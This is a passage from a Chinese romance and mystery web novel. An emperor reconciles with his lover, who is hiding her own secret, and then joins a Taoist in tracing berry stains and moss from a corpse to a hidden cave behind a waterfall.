一般她这么叫自己，一种是跟自己闹着玩儿，另一种是真的生气了。穆轩岚知道，今天肯定是后者。
“千千，我实在是事出有因，你可以开门吗？我进去跟你解释。”穆轩岚好声好气的说道。
其实直到现在，他也没有想明白，要不要告诉千千自己外出所查之事。可现在还是哄好千千最为重要，若是说出来，能让她心情好些，他会毫不犹豫地告诉她。
“陛下，那你就回去好好休息休息吧，我现在不想听什么解释。”秦千千轻叹一口气，虽然微不可查，但穆轩岚还是听到了。“我们两个，没有必要什么都坦诚相见，各有各的秘密也挺好的。”
穆轩岚这时才知道，她现在时真的气急了，便想不管不顾的把门推开。
可是手扶上门框的一瞬间，他就知道，自己贸然进去，恐怕会让千千更生气……
“不不不，我现在就可以告诉你我去了哪……”
“我困了，你还是先回去吧。”
听着那渐行渐远的脚步声，以及缓缓坐在床榻上的声音，穆轩岚知道，今天想见她是没戏了，便也不再勉强。
“那你好好休息，明日我再来看你。”
穆轩岚离开的时候难掩落寞，这几日在白云村他废寝忘食，都没让他觉得如此疲惫，这一刻他的心累到了极点。
冲动行事，真的会让他后悔，他现在几乎要把肠子悔青了。
自己该告诉千千的，让她担心这么久，她生气也正常。
在床上呆坐了有一炷香，秦千千这才睁开湿润的双眸，她的手中拿着一根通体漆黑发亮的羽毛——这是主人给她的信号，一种极其危险的信号。
秦千千根本没有那么生穆轩岚的气，比起把他关在门外，秦千千更想，在他回来的那一瞬间就扑向他。
可她前脚接到主人的警告，还没来得及想其中是什么意思时，穆轩岚便回来了……秦千千只能借题发挥，暂且不见穆轩岚。
而那句，让两个人都有各自秘密的话，也不是在敲打穆轩岚，而是秦千千当下就决定，瞒下主人跟自己联系的事情。
可主人说的到底是什么事呢？是不许她跟穆轩岚在一起，还是主人那边出了什么变故？
这问题想的秦千千夜里睡不着，她便随便穿了两件衣服，系上披风，决定去外面走走。
遇到穆轩岚之前，清风酒楼在京都的名声，便已经是数一数二的了，谁也不敢找秦千千的麻烦，更别说现如今有皇帝给她撑腰，更是没人敢跟她较劲儿。
可刚走出酒楼没多久，秦千千就发现有人在跟着自己。
少有，主动来找死的人。
秦千千摸向自己腰间的一把匕首，那是穆轩岚送她的。
其实不是防身用的，而是因为那匕首镶嵌各种彩宝，着实好看，穆轩岚送她玩的。不过那匕首的确锋利无比。
她想，自己教训个小毛贼，应该还是没问题的。
哪怕打不过，无处不在的暗卫，也会帮自己解决了那人。
她听着脚步声，琢磨着距离。还不等她出手的时候，那人便从后面抱住了她。
一手环住她的腰，一手轻车熟路地按住她扣在匕首上的手。
“你跑不了了。”
帽兜遮挡住了秦千千的视线，可那熟悉的声音，却让她一听便知是谁。
穆轩岚把下巴抵在她肩膀，轻轻笑着。
“你这点怎么还没睡？”秦千千相当意外地转头看他，想抬手揪掉帽子，结果发现，自己的手被他箍的动不了。
“你不说原谅我，我又怎么睡得着？”穆轩岚有些委屈的说道，可听到秦千千有些惊讶的吸气，他便立马改了说辞，将实情道来。
“朝中事务积攒太多，刚刚我才处理了一半，就听到暗卫说，你竟然夜半出门，我便赶了过来。”
秦千千颇觉好笑的摇了摇头，“你还担心我的安危不成？现在没人敢惹我，而且我只是要去找晏信讨杯茶喝而已。”
晏信现在的买卖做得大又杂，什么他都能倒卖一点。让秦千千魂牵梦萦的
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，还得是晏信自己倒腾出来，有不同的芬芳的茶叶。
前几天新进了一批茉莉花香的，让她甚是喜欢。晏信送给她的一斤，没多久便被她喝完了。
她早就想去找晏信买一些，只是最近她心情不好，就没出门。今晚反正也是睡不着，她才临时起意，准备去讨要点茶叶。
听了这个缘由，穆轩岚不仅没有松手，还双手环住了她的腰，语气也是有些不开心。
“所以你知道我为什么要来了？不能你还没跟我说话，就跟晏信夜聊吧。”
今天秦千千脑袋昏昏沉沉的，竟忘记了穆轩岚平时最爱吃醋，自己这么一说，他肯定不干。
想通这点后，秦千千立马软声软语跟他道歉。
“以后不会这样了。走吧，趁着夜还深，我们回去休息。”
听到她不再生自己的气，穆轩岚便跟她一同回了酒楼。
期间他想跟千千解释，这几天发生了什么。在宫中处理事情的时候，穆轩岚也想清楚了，他不要瞒着千千，他要把这事情告诉她。
两人之前的经历，已经告诉穆轩岚，他们之间相互隐瞒，没有一点好处。
比起，再度因误会错过对方，穆轩岚更愿意面对的是，跟她一起解决问题。
可秦千千却一反常态，她直接用手捂住了穆轩岚的嘴。
“我还真没有那么小心眼，你是一国之君，自然有很多事情要处理，没必要事事都告诉我。”
上楼推开门后，秦千千直接拉着他往床榻走。
屋中灯光昏暗，而穆轩岚这几日也真的没有睡好。哪怕有时间睡觉，他也会在夜半惊醒。习惯跟千千共枕而眠后，身旁突然没了她的踪影，穆轩岚仍旧会心下一惊。
当夜，两个人都睡了个好觉。
第二日，在穆轩岚早起回宫上早朝时，秦千千也跟着悠悠转醒。
往常目送自己离开后，她会再睡一会儿，穆轩岚便没让她坐起来，秦千千便侧躺在床上，单手支着脑袋看他收拾。
谁知在他要离开时，看到了桌上摆着的一根羽毛。
“这是谁给你搜罗的新鲜玩意儿吗？”
穆轩岚看着那差不多小臂长、四指宽的羽毛，甚觉新奇。
秦千千掩面咳嗽了两声，“店中的走贩卖的，看着新奇，我便买了一个。”
她咳嗽不止，穆轩岚便放下羽毛，过来关切她是不是受寒了？
秦千千摇头表示没事，还让穆轩岚早些去处理公务。
门外的元德等候多时，穆轩岚刚一进轿，元德赶忙把那封密函呈报给他。
除了牧九明，还能是谁？
这么短的时间，穆轩岚不指望那边会有什么进展，而事实也果真如此。
牧九明这封信也并不是说什么进展，而是祈求穆轩岚，不要把此事告诉秦千千。
他心中甚是无奈，若不是昨夜千千的阻止，千千早就知道这事儿了。
不过现在也好，不用他为难了。只不过他心中还是觉得亏欠千千，便叮嘱元德中午跟他去藏宝阁，挑些东西送给千千。
牧九明深夜占卜，得到道祖提示，他要的线索在一孩童身上。于是他连夜通知暗卫，着重问询之前排除在外的孩童。
188. 放缓了探寻真相的步伐
牧九明没有想到，竟然会那么快得到确切的消息。
一个五六岁的女童，在面对乔装打扮的暗卫姐姐时，被一根糖葫芦哄骗，讲了那邻居家女孩跟她说过的事情。
“她说，等她长大以后，也能跟她母亲一样成为身兼重任之人。至于是什么重任，那女童也听她说了几句，说是要运送世间情报，还有采买族人所需的东西什么的。”
若不是得了命令，一切事情要先禀报给牧九明，夏念烟一定第一个把这个信息禀报给穆轩岚。
近些年，夏念烟一直奔波在前线，她对姜千秋的事情也知道不少。她知道，此时事关重大，陛下一定很想听到这个消息。
牧九明听到这话，蹭地从椅子上站起来，在屋中紧张又激动的来回踱步。
这句话中的信息量太大，运送情报几乎就是明指了姜千秋，而那句族人，则更是让牧九明震撼不已。
又要避世，又有族人，还能掌握各种消息，牧九明几乎确信，姜千秋一定是云岫山的人，而那所谓的族人一定便是守山派，传说中守了无数财宝和秘术的仙山高人。
不等夏念烟提醒，牧九明甚至来不及坐下慢慢提笔，他赶忙抓过纸笔，弯腰趴在桌子上给穆轩岚修书，让他赶紧过来。
最重要的一点还是，此次要多调派人马，准备搜山。
牧九明平时不是一个铺张浪费的人，可现在他也顾不得别的了，事情自然要两手抓：一手查探，那妇人到底去了何处；一手便是不惜任何代价的搜山。
在夏念烟出发前，牧九明还叮嘱她，快，一定要快。
收到消息时，穆轩岚正要在清风酒楼，跟友人一同吃饭。
前几天他无故离京，错过了宴席。寻常宴席也就作罢了，可那是千千组的一个团圆宴。
她们认识的人全都来了，王老怪、桑风雪、晏信、桃花花、冬芸、云彩，上次缺的也就是穆轩岚，元德没有跟穆轩岚一同离京，便去赴了宴。
上次错过团圆宴，穆轩岚心中就十分过意不去，便在稍事休整一日后，就主动提出宴请了几人。
谁知宴席还未开始，夏念烟便带着密函归来。
秦千千看到门口那人身形矫健，一看就是个练家子，而她神色匆匆却坚定，进了门便想往楼上走。她不用想便知道，肯定是来找穆轩岚的暗卫。
于是在那人要上楼时，她便笑着跟那人搭话。
“请问，是找穆公子的吗？”
秦千千不眼熟夏念烟，可夏念烟却认识她。
夏念烟十分有礼貌的点了下头，秦千千也不多想，也不多问，便领着她上楼。暗卫禀报的事情一般都是大事，这种事情秦千千是不会耽误的。
看到来人后，穆轩岚便知道，肯定是牧九明那边有了什么发现。看千千转头要离开，他便赶忙拉住了千千的手。
“没有什么好瞒你的，留在这里吧。”
秦千千却笑着摇头，“我得去楼下看着，咱们那种宴席的规格，可是分毫都不能错的。”
虽然千千没有跟他说过，但穆轩岚心中清楚，上次她肯定也是这般用心的……
越想越愧疚，可眼下不是愧疚的时候，他便不再多想，遂放手让千千离开。
不等他打开密函，夏念烟便跟他汇报起那边的发现。
牧九明可能从这消息中听不出什么，但这次的发现，却验证了穆轩岚很早前听到的另一个传闻——
守山派守的不只是古往今来的古籍，还有历朝历代所经历的事情，也可以说，这些人是一群置身世外的史官。
穆轩岚仍旧对云岫山仙人的事情半信半疑，不过无论守山派有没有什么长生之法，目前来看，史官这事儿应该是真的。
姜千秋获取各路情报，简直如探囊取物般简单，若是她祖上往上倒几辈全都是干这个的，那便不奇怪了。
他匆匆看过密函，便把它放在一边的桌上，自己则是默不作声的思考着什么。夏念烟不敢作声，只能在一旁等候。
如果事实果真如此，那穆轩岚或许知道姜千秋究竟在干什么，而她为何给那些农户送钱的缘由也清楚了。
像那个邻居一家，负责运送情报的线人肯定不在少数，这就是一笔巨大的开支。听那个小女孩的意思，她们还要采买门派众人的衣食住行所需的必备物资，那就更是一大笔花销。
而姜千秋敛财，其实也只是为了践行她们守山派，自古以来的职责——远离尘世，记录历史。
得出这个结论时，穆轩岚对姜千秋凭空生出一丝敬佩。如果此事为真，那她还真的是在做一个很伟大的事情。
这条路上注定只有她一人孤寂前行，也不会有什么千秋万代的美名，可她还是这么做了。
穆轩岚心中突然冒出一个想法，若是此事真就是她的目的，那真相大白后，他愿意竭尽所能帮助姜千秋。
不只因为她是千千传道授业的恩人，更是为了她这番惊天伟业。
“你带着人先行一步，告诉他我今夜启程。”穆轩岚吩咐她。
夏念烟却有一些踌躇，“陛下，道长说让您务必立刻出发。”想起牧九明那个癫狂的样子，夏念烟都有些担心，自己先到没带去陛下，他有可能会发疯……
穆轩岚语气坚决：“上次为了他，我已经错过了一次这样的宴席，这次再错过就实在说不过去了。”
而且穆轩岚现在的心境已经变化，之前他的确迫切的想知道答案，想揭开姜千秋的面具。可现如今对姜千秋改观后，他也不想那么急于此事了。
不过牧九明的急迫，他也是可以理解的。对牧九明来说，那可是成仙，那个诱惑实在太大……
穆轩岚拿定主意，夏念烟肯定也不敢再劝，她便领命离开。
他出门凭栏下望，看到酒楼中央最大的那一桌宴席边坐着的各位，一个一个都喜气洋洋，面带笑意地谈论着什么。
秦千千没有坐下，她看着正要转身上楼，刚巧抬头跟穆轩岚对视。她笑着朝穆轩岚摆手，衣袖随着动作轻巧飘扬。
在穆轩岚眼中，只有明媚的千千，周边的嘈杂环境都消失了。那一刻，穆轩岚只能看到她一人。
自己也真是的不识好歹……
当初，放着眼前的这般逍遥日子不过，非要去执着一个什么答案？穆轩岚心中有些哀叹。
不过上天待他不薄，上次错过的宴席，又给了他补上的机会。
想到这里，他的心里就甚是满足，笑着朝千千点头，示意自己马上就下去。
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>敢调侃穆轩岚的人，全都凑在了一张桌子上，王老怪首先起了头。
“还得感谢我们穆公子啊！不是他，这种好饭好菜，千千能招待我们第二遍？”
也不知是调侃穆轩岚，还是在揶揄秦千千，亦或者两者都有……反正她们两人都没生气，而是言笑晏晏地看向王老怪。
“你这老头也真是的，想来吃我们这里的饭，直接来点菜不就好了？你平时给达官贵人诊病，要那么多银子都干什么去了！”桃花花不服气地跟王老怪顶嘴。
自从开张以后，她们还没赚过王老怪的钱呢！这简直比让桃花花丢了钱还难受。
一旁在清风酒楼花销颇多的晏信，也不再作壁上观，开口调笑王老怪。
“这么说你在京都这段时间，可是纯省啊！”晏信放下手中的筷子，一脸惊讶的继续说道：“吃住在清风酒楼，玩乐在我的小店，那你现如今应该攒了不少了吧？”
穆轩岚和秦千千看着左右转头，坐立不安的王老怪，他百口莫辩的样子，看起来愁得待会儿要少吃两口饭了。
两个人知道内情的人相视一笑，谁都没有多说什么。
王老怪这些年确实赚了不少钱，可他的钱都交给秦千千，让她去帮忙贴补穷苦的人了。一笔一笔账秦千千替他记得清楚，这事儿穆轩岚也知道。
两人刚开始不懂，王老怪为什么捂着这种好事不告诉别人，只是他怎么要求，两个人便怎么遵守了。
“应该是不好意思吧？他闲云野鹤般浪荡惯了，被咱们夸两句就要红了脸，更别说做了这种好事，咱们都大夸特夸的时候，说不准，他就已经羞愤到不行了。”
秦千千歪着身子，悄悄跟穆轩岚剖析，他十分赞同地点头。
只不过转念间，他又想起了姜千秋。难不成，她也是这般容易羞愤之人？
不过不可能，她那般超脱物外的个性，怎么会被这种小家子气的情绪裹挟。
知道自己想不出什么缘由，穆轩岚也就没有深思，眼看自己就又要离去，还是尽量先享受一下眼前的欢快吧。
再隆重的宴席，也有散席的时候。
送走了诸位后，穆轩岚便拉着秦千千上楼，刚跟她说自己又要因事离京一段时间，秦千千便当即点头。
“别跟上次一样，回来以后憔悴的不行，没人提醒你也要记得休息。”
跟前两天一样，她完全没有好奇自己要出去干什么，这让穆轩岚的心里有些意外。
不过，他也思考不了那么多了，告别千千后，便骑上快马立即赶向白云村。再不去，或许牧九明就要在那边急死了。
等他赶到那边的时候，牧九明和夏念烟他们已经在山里搜索了一段时间了。
而另一方面的情报毫无进展。之前两次问询，已经把周边所有能问的人全都问过了，除了死者没有人知道，那妇人去了何处？
穆轩岚刚到村口，牧九明便过来，一筹莫展地问他该怎么办？
对于接下来的探查方向，穆轩岚心中有了一个计划。
“既然上次他跟踪那妇人只是被要挟了一顿，那这次他一定是做了更过分的事情，或者去了不该去的地方，才会让那人痛下杀手。”
问题的关键，在那具尸体身上。
189. 确切的探查方向
“你有没有考虑过这个问题，他身上的这些苔藓到底是哪儿来的？”穆轩岚一语道破核心。
穆元基这才恍然大悟，他抬手拍了一下自己的额头。
自己真是关心则乱，光想着从眼前的消息中找到线索，然后去追新发现的线索，他怎么忘记一切的源头是那具尸体了？
顺着这个调查方向，那就可以排除附近山中的绝大部分地方，探查难度也会大大降低。他正准备激动的出去，却被穆轩岚再度叫住。
“等等，你现在是真昏了头。我们再去查看一遍那个尸体，说不准还有其他收获。”
穆轩岚也看明白了，现在的牧九明几乎不能冷静行事。这种情况下做出的决定，一般都是费时费力又收效甚微的。
上一次穆轩岚来之前，牧九明不敢让别人处理那具尸体，生怕用的防腐烂手段，会破坏那衣服上长出的苔藓。
穆轩岚来这里后，他便派人赶紧处理尸体，为的就是尽量保存原样，以备日后不时查看。
这次两个人前去，也的确发现了一些细节。
死者身着黄褐色的麻布裤子，他的右膝处有微不可查的磨损，而右裤腿旁则是有一些污渍的擦痕。
穆轩岚微微弯腰，仔细查看，辨别出那似乎是一种植物的汁液。
“看起来，这个人像是在哪里摔倒了，这些你应该清楚吧？”穆轩岚给他指了指，让牧九明过来看这些痕迹。
牧九明自小修道，学的知识也很杂乱，野外各种植株的名字、药效，穆轩岚记得他对此甚是了解。
牧九明直接上手去摸那痕迹，捻到手指一点后，又仔细端详。不出片刻，他确实看出了些什么。
“深绿色的不用说，肯定是某种草的汁液。这接近黑色的痕迹，原先应该是红色……”牧九明一边细细观看手上的痕迹，一边缓缓分析道：“应该不是血迹，而是某种浆果。”
穆轩岚深以为然地点了点头，“所以，眼下我们要找的地方，便是潮湿、还有某种红色浆果的地方，而且也不需要搜寻太远，大概方圆三十里吧。”
打听到的情报说，那女人一般都是早上离家，晚上回来，太远的地方，她一个人步行应该也到不了。为此，穆轩岚才暂且圈定了三十里的范围。
缩小范围后便好查了很多，这里虽然群山环绕，但有的河流也就仅仅那几条，顺着河找是很快的事情。
第二日不到中午，几十里的大致情况，就已经被暗卫们摸清楚了。
“一共五条河流，其中两条源头是在四五十里以外的地方，不在排查范围中。”夏念烟简短汇报着外面的情况，接着又讲了现在的安排，“我们的人已经顺着三条河流分别去查了，下午应该就能得到确切消息。”
穆轩岚点头，看夏念烟离开后，这才意味深长地看着牧九明。
之前牧九明在外游历是什么情况，穆轩岚不清楚，可近几日他却再清楚不过：这人简直是不把他自己的身体当回事儿，若不是这两日自己在这里扣住他，牧九明恐怕什么事情都要亲力亲为。
他又不是金刚不坏之身，这么累下去迟早垮的。
“这里我照看着，你赶紧回去歇歇吧。”看他准备反驳什么，穆轩岚便不悦的打断他，“你这人真是一根筋，为了找所谓的云岫山，你宁愿累垮自己的身体吗？若山中没有什么仙人，你的身体怎么办。”
牧九明张张口，却又不知道该说些什么，他知道穆轩岚说的有道理，便只能妥协，准备回去强制自己休息一下。
离开前他想到了什么，便在一只脚踏出门槛后缓缓转头。
“你没有把这件事情告诉她吧？”
穆轩岚眉头微蹙，有些不耐烦，丝毫不掩饰自己对他的这个提议很不满。
“你未免太过防着千千了。你可知我本要告诉她的，是她不愿听。不管日后找不找得到云岫山，我都希望你能放下对千千的偏见。”
寻常，牧九明是最会平等待人的人，而他学的道法也强调万法自然，切不可强求某事或者是区别对待某人。
之前的他一直践行的很好，可现在要事当前的牧九明，早就把这些教诲忘得一干二净了。
扪心自问，他的确对秦千千有偏见。现在穆轩岚又这么帮自己，他的确没有道理，再拒绝穆轩岚的这个提议。
牧九明神情庄重地点了点头，“查清此事，我会去负荆请罪的。其实我也不是有意要瞒着她，只是担心她主人，会对我们的整个谋划不利。”
此事不用他说，穆轩岚也知道。毕竟谁都说不清，高深莫测的姜千秋到底知道多少事情？
穆轩岚看着他如临大敌的样子，便让他安心。
“等日后彻底把话说开，就一切无妨了。”
临近傍晚时，外出的暗卫回来了两路，他们各自发现了一条符合穆轩岚他们推断的路。只不过到底哪条路才是对的，还要等穆轩岚和牧九明亲自查探。
月上梢头后，外出的人全部归来。
除了先前回来的那两路，其余的人并没有发现相同描述的地方，也就是说，现在已经有了确切的探查方向。
穆轩岚和牧九明自然要分开探查，这样一天便可以确定究竟哪里才是正确的方向。
第二日天刚擦亮，两个人便各带一队人马分别行动，穆轩岚往南走，牧九明往西走。
穆轩岚去的那里稍近一些，他想着快去快回，说不定还能回头去牧九明那边看看情况。
而事实也没让他失望，他们早早便铩羽而归。
虽说到南边瀑布的路上，的确有拇指指甲大小的红色浆果，可循着河流一路走到终点时，穆轩岚才发现，面前是百尺高的峭壁，和迸溅于山涧的巨大瀑布，前方已没有路了。
这一路都是向阳坡，虽说水气够大，但并未有什么生长在岸边的苔藓，水边的石头上肯定有，但那种水苔藓跟那位死者身上的完全不同。
没有发现什么，穆轩岚便带着人直接回去。估摸着牧九明还没走到地方，穆轩岚他们稍事休息便去追牧九明了。
牧九明这一路走走停停，因此行进的速度不快。
这些日子
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，他一直在这里走访各个农户，可没曾想这山中的天才地宝还真不少。
他们这个道派也炼丹，所以看着野外长势如此喜人的草药时，牧九明还是下意识的想要记清这里的路。看到特别稀有的植株时，他甚至会停下来采几只拿在手上。
就在他为珍惜药材欣喜不到一刻钟，他便突然想起，那家男人是采药为生的，这里的药材不说各个名贵，但拿出去也能卖个好价钱。
难不成，这个山涧他们没来过？
在他心中泛起嘀咕的时候，他赶忙晃了晃头，把这个不好的念头甩出脑子。
不能以常理考虑这家人的行事作风，而且自己怎么能灭自己志气？
在他带着人继续往前走的时候，便被闷头赶路的穆轩岚他们追上了。
得知他那边一无所获后，牧九明决定先瞒下自己心中的猜测。
坏消息太多了，他们现在需要听的是好消息。
一行人又继续往前走了半个时辰，才终于看到了红浆果。只不过与穆轩岚在那一侧见到的有些出入，不过穆轩岚没在意，反正这种红色的小果子都大差不差。
而暗卫告诉他们，浆果前面几里就是一座高山。
牧九明一听快到了地方，便激动的顾不得休息，又是发动所有人，闷头赶了一个时辰的路，终于看到了眼前一个百尺宽的水潭。
那潭水幽深发绿，靠近山崖的那一侧甚至还有些发黑，看得人心里毛毛的。
穆轩岚一抬手，暗卫便四散分开，去四周寻找潮湿、可供苔藓生长的地方。
这边的高山，可比那边的峭壁低多了。没一会儿，两人便看到有暗卫爬到山顶。分开搜寻的暗卫，时不时回来禀报消息。
不出两炷香，便有人说在水潭往东几百步的地方，发现了一处僻静的洼地，落差大概有两人那么高，那里面长的全都是苔藓。
穆轩岚和牧九明跟过去查看，那里确实地处背光坡，再加上足够潮湿，确实长了很多种苔藓。
别人都分不太清那苔藓的样貌，牧九明便用绳子拴住腰，让暗卫把自己放下去，他要仔细查看。
可他找遍了整个小院大小的洼地，甚至连石壁都仔仔细细的看了两遍，最终只能无奈地朝穆轩岚摇摇头。
“这里真的没有，不说与那完全一模一样，甚至连株型相似的都没有。”
牧九明再度上来，站在穆轩岚身边时，他有些无助地看着穆轩岚。现在，自己是真不知道该怎么办了。
两个可疑地点全都不对。今日别的暗卫也没闲着，他们也在按照这个流程寻找别的地方，也全都没有结果。
穆轩岚却背着手，饶有兴致地说道：“这仙草晚上不是会发光吗？我们夜宿于此，一寸一寸搜遍这个地方，便知道这里对不对了。”
其余得令的暗卫，也就地暂且休息，等着夜深人静时再开始探查四周。
夏念烟是跟着穆轩岚他们行动的，她看着远处，在一平坦石头上打坐，闭目养神的穆轩岚，就知道这次陛下不查出个所以然，是不会罢休的。
190. 忆往事时恍然大悟
穆轩岚想，一定是哪里出了问题。
不然不可能全部人马在这里忙了两夜，没有找到任何收获。第一夜，他便安排了人手去自己查过的那个地方，就是担心白日有遗漏什么线索。
可不但这边没有线索，那边也没有任何异样。
昨夜又是忙了个通宵，在天光乍破的时候，穆轩岚和牧九明正坐在崖壁边，俯瞰整个山涧。
“没成想，消息还是断在这里。”牧九明的语气中全是无奈。
他着实想不通，自己能做的都做了，可怎么结果还是这么不尽人意。
穆轩岚比起他，心态则平和了很多。
自从几年前开始追踪姜千秋，然后经历了他人生中最大起大落的几年，穆轩岚早就看透了，有时候努力未必会出什么结果。
现在的牧九明，跟当初的自己如出一辙。
自己也劝不了他，就像让现在的自己去劝说当初的穆轩岚，他当时的所作所为也不会有任何改变。
“无妨，大不了就让暗卫继续搜山便是，就从这两个地方开始往四周搜。”穆轩岚语气笃定地说道，反正横竖跑不出这两个地方。
牧九明在这里费心费神，什么也没查到，看着十分沮丧，穆轩岚便提议，让他跟自己去另一个地方看看。
这两日两人都忙在这边，又因为那边是穆轩岚亲自排除的地方，牧九明并没有动心思去看。
在穆轩岚刚提议这件事时，他还拒绝了，觉得最大的可能还是在这边。可在穆轩岚的再三强调下，两个人才启程去那里。
这一去，果然给他们发现了异样。
在看到那红色浆果时，几丈开外的牧九明三步并作两步跑了过去。
他不顾仪态蹲在地上，开始用手刨起浆果根部的土。拨开泥土，看到姜黄接近褐色的根部时，他突然狂喜地起身跟穆轩岚说道。
“这跟那边的浆果不是一类，或许我们可以采了浆果，回去放一段时间看看，就知道那死者究竟去了哪边。”
两个人刚到白云村，暗卫便送来秦千千给穆轩岚写的信。穆轩岚便把钻研浆果的事情交给牧九明，自己先回屋看信。
千千的信跟往常也没什么区别，就是跟他讲近几日发生的事情，以及京中有意思的传闻，临了还叮嘱他注意身体，不要过度操劳。
穆轩岚看得心里暖洋洋的，可还不等他提笔回信，牧九明便闯了进来。
原本，牧九明找来了与那死者穿的同样材质的衣服，想着把浆果涂上去，放几日再观察它的成色。那样虽然花费的时间长，但也是最稳妥的办法了。
可一动手采发现，根本不需要那么久，在他往上涂浆果的时候便知道了真相。
“我找的那个方向是不对的，当初你去的那条路才是正确的。”
那浆果看似长得相似，但其实一甜一涩。
穆轩岚去的那个地方，浆果是涩的，不能食用；牧九明那边则恰恰相反，那红浆果微甜好吃。
他在往麻布衣服上涂时便发现，涩的浆果可以涂在抹布衣服上，甜的却沾不上去。
哪怕穿着衣服，模仿跌倒在浆果上的姿势后，甜的浆果也只能形成圆圆的果渍，完全形不成擦痕。
穆轩岚意外地挑了挑眉，“这倒是省了我们好几天的时间，那就别废话了，继续派人去那边找吧。”
他没有要出去的意思，毕竟刚收了信，肯定要跟千千写回信的。牧九明知道这是他的习惯，而且接下来的事情已经清晰，他便点头立刻出去安排事宜。
穆轩岚心情愉悦的看着写好的回信，等墨迹干透时再差人送出时，又有暗卫过来禀报消息。
这次送信的不是秦千千，而是元德。
“陛下，元统领说若不是他抽不开身一定会亲自过来，这几日秦老板看他看的严。他想让我们禀报的是，秦老板近几日身体不好，但听说叁余坊出了什么问题，秦老板想背着您外出一趟。”
元德不知道她给陛下的信中写了什么，不知道她是否坦白了这件事情，于是便只能差人匆忙赶来，把此事禀报给穆轩岚。
穆轩岚确实有些讶异，千千给他的信中的确没有说过这事。不过那布衣坊，又会出怎么样的大事，甚至能惊动千千呢？
想起之前她可是从不离京的，穆轩岚心中便犯起了嘀咕，沉思片刻后，他便差人去给元德回话。
“此事我知道了，她想离京处理事情，就让她去吧。告诉元德多派些人保护她，不过不可明行，暗里跟着就是。”
顺便把回信装进信封，让那人也传出去。既然千千不想让自己知道，那穆轩岚便装作不知情。信中除了日常的寒暄之外，他什么都没说。
刚好自己还要在这里停留几日，千千若是有事做的话，也不会太过无聊。
又是两日后，元德送来的信已经告知穆轩岚，千千已经离京了。他们这边还是没有丝毫进展，说着波澜不惊的穆轩岚也有些着急了。
放下元德的信后，穆轩岚便下定决心，他看着如坐针毡的牧九明，语气笃定地说道：“从今天开始，我们便去攀那座峭壁，再难也要爬上去看看。”
那里的地势很是奇怪：瀑布倾斜而下的峭壁足足百丈高，与周边的山格格不入，可以说高的不像话。因此最开始探查四周，便先把这部分排除在外。
可现在别处都找遍了也毫无线索，那眼前光滑的峭壁再难攀，他们也得去试试了。
站在山脚仰头看着光滑的峭壁时，牧九明和穆轩岚都不由得倒吸一口凉气。
“你说，寻常妇人真的能背着大包小包的东西，爬到这山巅上吗？”牧九明有些犹豫地说道，别说那人是只负责耕织的妇人，哪怕是有些武功的自己，看着这个也犯怵。
穆轩岚又拧眉沉思，这才发觉，不说那妇人能不能上去，那死者便上不去。况且他身上沾染的苔藓是在后肩部分，攀爬峭壁怎么也蹭不到那里。
他沉思的时喜欢独自一人，于是他便让牧九明和旁人先退下四散寻找，他则是随意在河
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边找了个平坦的石头，席地而坐。
高山后面的光景他们不清楚，可这个地方确实是个风水宝地。若守山派在山巅的话，那真是占据了易守难攻的绝对有利地位。
穆轩岚指尖轻轻敲击在自己的膝盖上，他抬头望着四周，设身处境地想，若自己是姜千秋，探秘的人已经走到了家门口……
那她此刻，应该在某个地方观察着外来的人。
可四周除了山风吹动树叶簌簌作响的声音，便再无异样。
穆轩岚自嘲的笑了下，自己真是昏了头，她姜千秋神出鬼没的，怎么能随便一看就让人看到她呢？更何况这山中上千暗卫，没有一人发现她的踪迹。
说不定她也没有回来，而是在某地运筹帷幄呢。
在他重新整理思路，想要再考虑一下，看看能不能发现别的什么端倪时，一阵徐徐的微风传来，清风拂面很是解忧消愁。
穆轩岚突然想起在嘉松别苑的时光。
当时他并不知道千千已经知晓自己的身份，也不清楚后续将会有那么大的变故发生。只当一切会按照自己的意愿继续下去，哪怕找不到姜千秋，父皇也会恩准他和千千相守到老。
那是一段很快乐的日子。
可最欢愉的一天，也正是千千知晓自己身份的一天……
那天在清洛洞，千千把全部的身心都交给自己，或许那时她才是真正的哀莫大于心死吧。
毕竟当时自己的确骗了她……
穆轩岚突然抬头，望着眼前轰隆不止的瀑布，既然嘉松别苑的太溪崖能有一个岩洞，那眼前的瀑布，说不准背后也暗藏玄机。
没曾想，前一秒自己还沉浸在过去的忧伤之中，后一秒便有所发现。可他没有表现出来，穆轩岚立马收了自己脸上惊讶的表情。
此事，他暂且不想让牧九明知道，穆轩岚自有定夺。
这只是个猜测而已，说不准瀑布后面根本没有什么通道。
倘若猜测为真，穆轩岚想第一个见到姜千秋，验证自己心中对她的猜想是否正确？等所有事情真假已定，他再决定要不要告诉牧九明这件事情。
不过，这一切都是后话了，得等他去瀑布下面探一探真假再说。
穆轩岚是背对着人群的，他的手缓缓按住心口。胸腔中的心过速跳动，哪怕只是一个猜测，也让他浑身血液沸腾。
他心中有个声音告诉他，这个猜测绝对正确。
事实几乎已经摆在眼前了，自己早该想到！这四周要么是平坦的草地，要么便是高耸入云的峭壁，哪来跟人差不多高的，还长着苔藓的地方呢？
穆轩岚现在要做的便是静待时机，他得找机会脱身，然后进去查看。可牧九明跟他捆得紧，又过了三日，穆轩岚竟然没找到机会……
“这次出来的时间够久了，我得回京一趟。”
实在无法，穆轩岚只能找了这个借口。凭他的身手躲过暗卫，潜入瀑布之下，还是绰绰有余的。
真相就在眼前了。
191. 只身入仙山，终得解惑
牧九明在穆轩岚离开后，仍旧按照原本的搜寻计划行事，白日休息，晚上搜山。
最近几日，这附近地方也被搜遍了，大部分暗卫都往外搜寻了，因此瀑布之下的守卫并不多。
月光皎洁，映照在白日清澈见底的水面上。
穆轩岚身着黑色夜行衣，在瀑布声喧嚣的掩盖下跳进水中，一步一步往往声势浩大的瀑布下走去。
潭水冰冷刺骨，但他浑身的血液几乎沸腾，根本感觉不到冷。追逐那么久的事情，终于要有了结果，穆轩岚很难不激动。
临近瀑布时，水气早就打湿了衣服，也几乎溅得他睁不开眼。穆轩岚干脆深吸一口气，直接潜入水底往前游。几度浮在水面换气后，他终于越过了那瀑布。
也幸亏他潜到了水底，几番查探后，才发现水中有个极其隐蔽的洞口。穿过那洞口往上游，浮出水面后，眼前出现了一个茅屋大小的山洞。
可眼前的景象并未与他想象的一样：山壁上长满了苔藓，散发着诡异的红。
这个山洞无比漆黑，再加上入口在水下极其隐蔽的地方，外面皎洁的月光自然照不进来。
穆轩岚从怀中摸出火折子，借着微弱的光，小心翼翼的出水上岸。
这洞中的确很潮湿，水汽慢慢凝结成水珠，沿着石壁缓缓滑落。而头顶两人高的石壁，则是拱顶，不会有水滴突然滴落。
